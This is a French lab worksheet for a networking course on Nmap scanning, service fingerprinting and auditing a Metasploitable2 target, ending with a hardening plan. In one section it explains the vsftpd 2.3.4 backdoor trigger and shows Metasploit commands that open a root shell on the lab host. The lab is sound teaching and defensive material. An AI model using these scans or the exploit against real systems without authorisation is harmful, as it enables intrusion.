BTS SIO SISR — BLOC 2 CYBERSÉCURITÉ

Lab Nmap : Cartographie, Audit & Pentest Réseau

Scans TCP/UDP, Empreinte OS/Services, Moteur NSE & Démonstration d'Exploitation Encadrée

DURÉE	ENVIRONNEMENT	OUTILS	LIVRABLES
3h30	**Kali Linux, Metasploitable2**	**Nmap, Metasploit, Wireshark**	**Rapport d'Audit (.nmap, .xml)**

Partie 1 – Le cours à connaître

1.1 Types de Scans & Mécanismes Protocolaires

Type de Scan	Option	Mécanisme Protocolaire	Avantages / Inconvénients	Droits
SYN Scan (Half-open)	`-sS`	Envoie SYN. Si SYN/ACK reçu ➔ répond par RST sans terminer le 3-way handshake.	Discret, rapide, n'ouvre pas de session applicative complète.	Root
TCP Connect Scan	`-sT`	Complète le 3-way handshake via l'appel système `connect()`.	Plus lent, systématiquement enregistré dans les journaux d'événements.	User
UDP Scan	`-sU`	Envoie paquets UDP. Port fermé ➔ `ICMP Port Unreachable`. Pas de réponse ➔ `open|filtered`.	Indispensable pour DNS/DHCP/SNMP, mais très lent.	Root
ACK Scan	`-sA`	Envoie ACK. Évalue les règles du pare-feu (Stateful vs Stateless).	Ne détecte pas les ports ouverts, uniquement le filtrage.	Root

À retenir : Par défaut, Nmap analyse les **1 000 ports TCP les plus courants**. Pour scanner l'intégralité des 65 535 ports, l'option `-p-` est obligatoire.

1.2 Moteur de Scripts NSE (Nmap Scripting Engine)

Le moteur NSE permet d'automatiser la détection de vulnérabilités connues (CVE). Les scripts sont regroupés par catégories : `safe`, `discovery`, `vuln`, `exploit`, `auth`.

Partie 2 – Contexte d'Audit : ACME Corp

Dans le cadre d'un audit pour la société ACME Corp, nous devons cartographier le réseau `192.168.56.0/24` et analyser la sécurité du serveur cible `192.168.56.20` (Metasploitable2).

Question 1. Quelle commande permet de découvrir les hôtes actifs du LAN sans scanner leurs ports ?

Réponse : `nmap -sn 192.168.56.0/24` (Effectue une découverte ICMP/ARP uniquement).

Partie 3 – Découverte, Scan & Exploitation Encadrée

```
# Scan complet d'audit sur la cible Metasploitable2
nmap -sS -sV -sC -O -p- 192.168.56.20 -oA audit-metasploitable2

# Extrait du résultat :
PORT     STATE SERVICE VERSION
```

```
21/tcp   open  ftp     vsftpd 2.3.4
22/tcp   open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1
23/tcp   open  telnet  Linux telnetd
80/tcp   open  http    Apache httpd 2.2.8 ((Ubuntu) DAV/2)
```

Question 2. Analysez la vulnérabilité du service FTP vsftpd 2.3.4 identifiée.

Réponse : Cette version spécifique contient une backdoor historique. L'envoi d'un nom d'utilisateur se terminant par `:-)` déclenche l'ouverture d'un shell root sur le port TCP 6200.

```
# Exploitation sous Metasploit Framework
msfconsole -q
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.56.20
msf6 exploit(vsftpd_234_backdoor) > run
[*] Command shell session 1 opened -> uid=0(root) gid=0(root)
```

Partie 4 – Défi Autonome & Remédiation

Plan de Durcissement (Hardening) :

1. Désinstaller les services obsolètes et dangereux (Telnet, FTP non chiffré).
2. Migrer vers SSH et SFTP avec authentification par clés publiques.
3. Restreindre les accès d'administration via un pare-feu applicatif ou des règles IPTables.
4. Masquer les bannières de version des services exposés.

Partie 5 – Diagnostic & Dépannage Nmap

Symptôme	Cause Probable	Solution / Commande
Ports indiqués comme `filtered`.	Pare-feu réactif bloquant le ping ICMP.	Utiliser l'option `-Pn` pour forcer le scan sans découverte préalable.
Scan UDP bloqué / très lent.	Limitation de débit ICMP (rate-limiting) par le noyau hôte.	Cibler uniquement les ports UDP stratégiques (ex: `-sU -p 53,67,161`).
Erreur `Operation not permitted`.	Absence des droits superutilisateur pour l'émission de paquets raw.	Lancer la commande précédée de `sudo`.